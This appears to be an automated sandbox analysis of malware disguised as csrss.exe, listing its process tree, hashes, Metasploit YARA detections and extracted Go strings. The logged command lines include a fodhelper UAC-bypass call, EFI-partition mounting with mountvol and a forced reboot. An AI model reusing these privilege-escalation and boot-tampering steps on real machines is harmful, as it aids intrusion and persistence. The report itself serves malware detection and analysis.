Analysis Process: csrss.exe PID: 5892 Parent PID: 664

General

Start time:	06:00:00
Start date:	29/11/2021
Path:	C:\Windows\rss\csrss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\rss\csrss.exe
Imagebase:	0x400000
File size:	4527104 bytes
MD5 hash:	EE7331757219F7A223712025F3FC70BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000013.00000003.402884568.000000000518A000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000013.00000002.446579915.0000000004500000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000013.00000002.427738761.0000000000400000.00000040.00020000.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: conhost.exe PID: 5936 Parent PID: 5988

General

Start time:	06:00:00
Start date:	29/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: mountvol.exe PID: 6232 Parent PID: 1864

General

Start time:	06:00:01
Start date:	29/11/2021
Path:	C:\Windows\SysWOW64\mountvol.exe
Wow64 process (32bit):	true
Commandline:	mountvol B: /s
Imagebase:	0xe50000
File size:	15360 bytes
MD5 hash:	5C11B99E6D41403031CD946255E8A353
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6404 Parent PID: 6232

General

Start time:	06:00:02
Start date:	29/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: mountvol.exe PID: 5816 Parent PID: 1864

General

Start time:	06:00:04
Start date:	29/11/2021
Path:	C:\Windows\SysWOW64\mountvol.exe
Wow64 process (32bit):	true
Commandline:	mountvol B: /d
Imagebase:	0xe50000
File size:	15360 bytes
MD5 hash:	5C11B99E6D41403031CD946255E8A353
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 3228 Parent PID: 5816

General

Start time:	06:00:06
Start date:	29/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: mountvol.exe PID: 6720 Parent PID: 1864

General

Start time:	06:00:08
Start date:	29/11/2021
Path:	C:\Windows\SysWOW64\mountvol.exe
Wow64 process (32bit):	true
Commandline:	mountvol B: /s
Imagebase:	0xe50000
File size:	15360 bytes
MD5 hash:	5C11B99E6D41403031CD946255E8A353
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6372 Parent PID: 6720

General

Start time:	06:00:09
Start date:	29/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: csrss.exe PID: 3120 Parent PID: 3352

General

Start time:	06:00:10
Start date:	29/11/2021
Path:	C:\Windows\rss\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\rss\csrss.exe"
Imagebase:	0x400000
File size:	4527104 bytes
MD5 hash:	EE7331757219F7A223712025F3FC70BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 0000001B.00000003.402674453.000000000518A000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 0000001B.00000002.425815440.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 0000001B.00000002.433700277.0000000004500000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: mountvol.exe PID: 6904 Parent PID: 1864

General

Start time:	06:00:10
Start date:	29/11/2021
Path:	C:\Windows\SysWOW64\mountvol.exe
Wow64 process (32bit):	true
Commandline:	mountvol B: /d
Imagebase:	0xe50000
File size:	15360 bytes
MD5 hash:	5C11B99E6D41403031CD946255E8A353
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6268 Parent PID: 2060

General

Start time:	06:00:10
Start date:	29/11/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Sysnative\cmd.exe /C fodhelper
Imagebase:	0x7ff7d7740000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5160 Parent PID: 6268

General

Start time:	06:00:11
Start date:	29/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: fodhelper.exe PID: 6124 Parent PID: 6268

General

Start time:	06:00:11
Start date:	29/11/2021
Path:	C:\Windows\System32\fodhelper.exe
Wow64 process (32bit):	false
Commandline:	fodhelper
Imagebase:	0x7ff70ef90000
File size:	46080 bytes
MD5 hash:	1D1F9E564472A9698F1BE3F9FEB9864B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5976 Parent PID: 6904

General

Start time:	06:00:11
Start date:	29/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: fodhelper.exe PID: 5868 Parent PID: 6268

General

Start time:	06:00:12
Start date:	29/11/2021
Path:	C:\Windows\System32\fodhelper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\fodhelper.exe"
Imagebase:	0x7ff70ef90000
File size:	46080 bytes
MD5 hash:	1D1F9E564472A9698F1BE3F9FEB9864B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: shutdown.exe PID: 6312 Parent PID: 1864

General

Start time:	06:00:13
Start date:	29/11/2021
Path:	C:\Windows\SysWOW64\shutdown.exe
Wow64 process (32bit):	true
Commandline:	shutdown -r -t 5
Imagebase:	0x13d0000
File size:	23552 bytes
MD5 hash:	E2EB9CC0FE26E28406FB6F82F8E81B26
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6652 Parent PID: 6312

General

Start time:	06:00:14
Start date:	29/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: fodhelper.exe PID: 5616 Parent PID: 6268

General

Start time:	06:00:15
Start date:	29/11/2021
Path:	C:\Windows\System32\fodhelper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\fodhelper.exe"
Imagebase:	0x7ff70ef90000
File size:	46080 bytes
MD5 hash:	1D1F9E564472A9698F1BE3F9FEB9864B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: csrss.exe PID: 1744 Parent PID: 5616

General

Start time:	06:00:16
Start date:	29/11/2021
Path:	C:\Windows\rss\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\rss\csrss.exe"
Imagebase:	0x400000
File size:	4527104 bytes
MD5 hash:	EE7331757219F7A223712025F3FC70BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000029.00000002.430632595.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000029.00000003.424595054.000000000518A000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000029.00000002.438199758.0000000004500000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: cmd.exe PID: 6956 Parent PID: 3120

General

Start time:	06:00:18
Start date:	29/11/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Sysnative\cmd.exe /C fodhelper
Imagebase:	0x7ff7d7740000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6112 Parent PID: 6956

General

Start time:	06:00:18
Start date:	29/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: csrss.exe PID: 6276 Parent PID: 5892

General

Start time:	06:00:18
Start date:	29/11/2021
Path:	C:\Windows\rss\csrss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\rss\csrss.exe
Imagebase:	0x400000
File size:	4527104 bytes
MD5 hash:	EE7331757219F7A223712025F3FC70BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 0000002C.00000003.445299173.000000000518A000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 0000002C.00000002.449242939.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 0000002C.00000002.454322198.0000000004500000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: fodhelper.exe PID: 6256 Parent PID: 6956

General

Start time:	06:00:18
Start date:	29/11/2021
Path:	C:\Windows\System32\fodhelper.exe
Wow64 process (32bit):	false
Commandline:	fodhelper
Imagebase:	0x7ff70ef90000
File size:	46080 bytes
MD5 hash:	1D1F9E564472A9698F1BE3F9FEB9864B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 2316 Parent PID: 1952

General

Start time:	06:00:19
Start date:	29/11/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 2060 -ip 2060
Imagebase:	0x1300000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: fodhelper.exe PID: 1400 Parent PID: 6956

General

Start time:	06:00:19
Start date:	29/11/2021
Path:	C:\Windows\System32\fodhelper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\fodhelper.exe"
Imagebase:	0x7ff70ef90000
File size:	46080 bytes
MD5 hash:	1D1F9E564472A9698F1BE3F9FEB9864B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 6696 Parent PID: 2060

General

Start time:	06:00:20
Start date:	29/11/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2060 -s 704
Imagebase:	0x1300000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 488 Parent PID: 1952

General

Start time:	06:00:21
Start date:	29/11/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 5892 -ip 5892
Imagebase:	0x1300000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 4700 Parent PID: 5892

General

Start time:	06:00:21
Start date:	29/11/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5892 -s 676
Imagebase:	0x1300000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: csrss.exe PID: 6132 Parent PID: 4876 csrss.exeCOMMON

Executed Functions

Non-executed Functions

Function 00428B10, Relevance: 7.6, Strings: 6, Instructions: 106COMMON

Download Yara Rule

Strings

,-./01456:;<=>?@BCLMNOPSZ["\, xrefs: 00428C50
runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedtime: unknown unit too many open filesunexpected InstFailunexpected data: %vunknown Go type: %vunknown certi, xrefs: 00428C26
bad g0 stackbad recoverybootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdse disableddumping heapelectrumx.mlend tracegcentersyscallexit status found av: %sgcpacert, xrefs: 00428C95
runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:, xrefs: 00428CBC
VirtualQuery for stack base failedadding nil Certificate to CertPoolcouldn't create a new cipher blockcouldn't delete an exclusion valuecrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapcrypto/rsa: missing pu, xrefs: 00428CF0
", xrefs: 00428CF9

Memory Dump Source

Source File: 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.330460291.00000000009F9000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.330793195.0000000000C51000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.330797599.0000000000C55000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.330845659.0000000000CA8000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.330850643.0000000000CB6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.330860365.0000000000CB9000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.330874808.0000000000CBB000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: "$,-./01456:;<=>?@BCLMNOPSZ["\$VirtualQuery for stack base failedadding nil Certificate to CertPoolcouldn't create a new cipher blockcouldn't delete an exclusion valuecrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapcrypto/rsa: missing pu$bad g0 stackbad recoverybootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdse disableddumping heapelectrumx.mlend tracegcentersyscallexit status found av: %sgcpacert$runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:$runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedtime: unknown unit too many open filesunexpected InstFailunexpected data: %vunknown Go type: %vunknown certi
API String ID: 0-2405844374
Opcode ID: de3a2cf2d3909c46a913fbbc00b11d99987c1667a54191d7621522a8055b41fa
Instruction ID: 42ee82367b21563e109480012d6fe3560eb94324b5bc2d8460cea0574e50dfb9
Opcode Fuzzy Hash: de3a2cf2d3909c46a913fbbc00b11d99987c1667a54191d7621522a8055b41fa
Instruction Fuzzy Hash: E851F5B46097158FD340EF65D18575EBBE0BF88708F818A2EF48887352DB389948DB96

Uniqueness

Uniqueness Score: -1.00%

Function 00434690, Relevance: 5.1, Strings: 4, Instructions: 106COMMON

Download Yara Rule

Strings

m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= pageSize= s.nelems= schedtick= span.list=%!(BADPREC), s.base()=, s.npages=, settings:.WithCancel/api/report/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBad Gat, xrefs: 004347C4
releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustoo many coefficientstrace/br, xrefs: 00434852
m->p= next= p->m= prev= span=%s: %s(...), not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.onion/%d-%d/%d-%s/31340370000390625:31461<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCA, xrefs: 00434778
releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (defau, xrefs: 00434756

Memory Dump Source

Source File: 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.330460291.00000000009F9000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.330793195.0000000000C51000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.330797599.0000000000C55000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.330845659.0000000000CA8000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.330850643.0000000000CB6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.330860365.0000000000CB9000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.330874808.0000000000CBB000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= pageSize= s.nelems= schedtick= span.list=%!(BADPREC), s.base()=, s.npages=, settings:.WithCancel/api/report/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBad Gat$ m->p= next= p->m= prev= span=%s: %s(...), not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.onion/%d-%d/%d-%s/31340370000390625:31461<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCA$releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustoo many coefficientstrace/br$releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (defau
API String ID: 0-626581767
Opcode ID: c984c633b3d57c7832adee5329347aa849f155eae7f752dda53143e7aca2bfc4
Instruction ID: 8241637a7f35ac624855d2df19fea6a5ed42779f520a2a5d8b1c8658a748f46b
Opcode Fuzzy Hash: c984c633b3d57c7832adee5329347aa849f155eae7f752dda53143e7aca2bfc4
Instruction Fuzzy Hash: 4551C7B4608705CFD344EF65D18575EBBE0BF88308F41886EE48887312D7799885CF9A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: csrss.exe PID: 1240 Parent PID: 6132 csrss.exeCOMMON

Executed Functions

Non-executed Functions

Function 00428B10, Relevance: 7.6, Strings: 6, Instructions: 106COMMON

Download Yara Rule

Strings

,-./01456:;<=>?@BCLMNOPSZ["\, xrefs: 00428C50
runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedtime: unknown unit too many open filesunexpected InstFailunexpected data: %vunknown Go type: %vunknown certi, xrefs: 00428C26
", xrefs: 00428CF9
bad g0 stackbad recoverybootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdse disableddumping heapelectrumx.mlend tracegcentersyscallexit status found av: %sgcpacert, xrefs: 00428C95
runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:, xrefs: 00428CBC
VirtualQuery for stack base failedadding nil Certificate to CertPoolcouldn't create a new cipher blockcouldn't delete an exclusion valuecrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapcrypto/rsa: missing pu, xrefs: 00428CF0

Memory Dump Source

Source File: 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.355613322.00000000009F9000.00000040.00020000.sdmp Download File
Associated: 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp Download File
Associated: 00000002.00000002.355906828.0000000000C51000.00000040.00020000.sdmp Download File
Associated: 00000002.00000002.355923816.0000000000C55000.00000040.00020000.sdmp Download File
Associated: 00000002.00000002.356001797.0000000000CA8000.00000040.00020000.sdmp Download File
Associated: 00000002.00000002.356017422.0000000000CB6000.00000040.00020000.sdmp Download File
Associated: 00000002.00000002.356022805.0000000000CB9000.00000040.00020000.sdmp Download File
Associated: 00000002.00000002.356044877.0000000000CBB000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: "$,-./01456:;<=>?@BCLMNOPSZ["\$VirtualQuery for stack base failedadding nil Certificate to CertPoolcouldn't create a new cipher blockcouldn't delete an exclusion valuecrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapcrypto/rsa: missing pu$bad g0 stackbad recoverybootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdse disableddumping heapelectrumx.mlend tracegcentersyscallexit status found av: %sgcpacert$runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:$runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedtime: unknown unit too many open filesunexpected InstFailunexpected data: %vunknown Go type: %vunknown certi
API String ID: 0-2405844374
Opcode ID: de3a2cf2d3909c46a913fbbc00b11d99987c1667a54191d7621522a8055b41fa
Instruction ID: 42ee82367b21563e109480012d6fe3560eb94324b5bc2d8460cea0574e50dfb9
Opcode Fuzzy Hash: de3a2cf2d3909c46a913fbbc00b11d99987c1667a54191d7621522a8055b41fa
Instruction Fuzzy Hash: E851F5B46097158FD340EF65D18575EBBE0BF88708F818A2EF48887352DB389948DB96

Uniqueness

Uniqueness Score: -1.00%

Function 00434690, Relevance: 5.1, Strings: 4, Instructions: 106COMMON

Download Yara Rule

Strings

releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (defau, xrefs: 00434756
m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= pageSize= s.nelems= schedtick= span.list=%!(BADPREC), s.base()=, s.npages=, settings:.WithCancel/api/report/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBad Gat, xrefs: 004347C4
releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustoo many coefficientstrace/br, xrefs: 00434852
m->p= next= p->m= prev= span=%s: %s(...), not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.onion/%d-%d/%d-%s/31340370000390625:31461<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCA, xrefs: 00434778

Memory Dump Source

Source File: 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.355613322.00000000009F9000.00000040.00020000.sdmp Download File
Associated: 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp Download File
Associated: 00000002.00000002.355906828.0000000000C51000.00000040.00020000.sdmp Download File
Associated: 00000002.00000002.355923816.0000000000C55000.00000040.00020000.sdmp Download File
Associated: 00000002.00000002.356001797.0000000000CA8000.00000040.00020000.sdmp Download File
Associated: 00000002.00000002.356017422.0000000000CB6000.00000040.00020000.sdmp Download File
Associated: 00000002.00000002.356022805.0000000000CB9000.00000040.00020000.sdmp Download File
Associated: 00000002.00000002.356044877.0000000000CBB000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= pageSize= s.nelems= schedtick= span.list=%!(BADPREC), s.base()=, s.npages=, settings:.WithCancel/api/report/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBad Gat$ m->p= next= p->m= prev= span=%s: %s(...), not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.onion/%d-%d/%d-%s/31340370000390625:31461<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCA$releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustoo many coefficientstrace/br$releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (defau
API String ID: 0-626581767
Opcode ID: c984c633b3d57c7832adee5329347aa849f155eae7f752dda53143e7aca2bfc4
Instruction ID: 8241637a7f35ac624855d2df19fea6a5ed42779f520a2a5d8b1c8658a748f46b
Opcode Fuzzy Hash: c984c633b3d57c7832adee5329347aa849f155eae7f752dda53143e7aca2bfc4
Instruction Fuzzy Hash: 4551C7B4608705CFD344EF65D18575EBBE0BF88308F41886EE48887312D7799885CF9A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: csrss.exe PID: 1864 Parent PID: 1240 csrss.exeCOMMON

Executed Functions

Non-executed Functions

Function 00428B10, Relevance: 7.6, Strings: 6, Instructions: 106COMMON

Download Yara Rule

Strings

